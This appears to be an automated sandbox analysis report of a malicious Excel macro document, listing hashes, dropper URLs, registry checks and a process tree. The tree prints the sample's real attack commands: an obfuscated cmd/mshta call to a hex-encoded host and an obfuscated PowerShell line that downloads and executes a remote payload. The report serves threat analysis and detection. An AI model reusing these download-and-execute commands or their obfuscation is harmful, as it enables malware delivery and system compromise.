69cce5bc480fc153f2c2565e77466c707647cde2c2f03465d1116c6d970d7ce3

General

Target
dce68291e9783eb07f19e2adddf04547.xls
Size 141KB
Sample220120-mlhr1shfar
SHA256 69cce5bc480fc153f2c2565e77466c707647cde2c2f03465d1116c6d970d7ce3
MD5 dce68291e9783eb07f19e2adddf04547
SHA1 714571614df9c900700bcfe29e9a7b403b8d0ed7
SHA512 b503ec82677974cf18cc6b4553a3630b8e9972bfcfb4983a21a01d6304eef3c9629c983101e1d8e0c6afe419e1d06e58541d6b193d82c5f6e9fcbb0dd8510600
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://185.7.214.7/fer/fer.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	996	1988	cmd.exe	51

Blocklisted process makes network request 1 IoCs

flow	pid	Process
20	2484	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3700	2484	WerFault.exe	57

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1988	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1988	EXCEL.EXE
1988	EXCEL.EXE
1988	EXCEL.EXE
1988	EXCEL.EXE
1988	EXCEL.EXE
1988	EXCEL.EXE
1988	EXCEL.EXE
1988	EXCEL.EXE
1988	EXCEL.EXE
1988	EXCEL.EXE
1988	EXCEL.EXE
1988	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1988 wrote to memory of 3136	1988	EXCEL.EXE	53
PID 1988 wrote to memory of 3136	1988	EXCEL.EXE	53
PID 1988 wrote to memory of 996	1988	EXCEL.EXE	55
PID 1988 wrote to memory of 996	1988	EXCEL.EXE	55
PID 996 wrote to memory of 2484	996	cmd.exe	57
PID 996 wrote to memory of 2484	996	cmd.exe	57
PID 2484 wrote to memory of 2560	2484	mshta.exe	60
PID 2484 wrote to memory of 2560	2484	mshta.exe	60

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\dce68291e9783eb07f19e2adddf04547.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1988
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:3136
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:996
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      PID:2560
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2484 -s 1712
      4⤵
      Program crash
      PID:3700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow
1⤵
PID:3592

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 432 -p 2484 -ip 2484
1⤵
PID:3832

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1988-130-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Download

memory/1988-131-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Download

memory/1988-132-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Download

memory/1988-133-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Download

memory/1988-134-0x00007FF7EA230000-0x00007FF7EA240000-memory.dmp

Download

memory/1988-137-0x00007FF7E8120000-0x00007FF7E8130000-memory.dmp

Download

memory/1988-138-0x00007FF7E8120000-0x00007FF7E8130000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads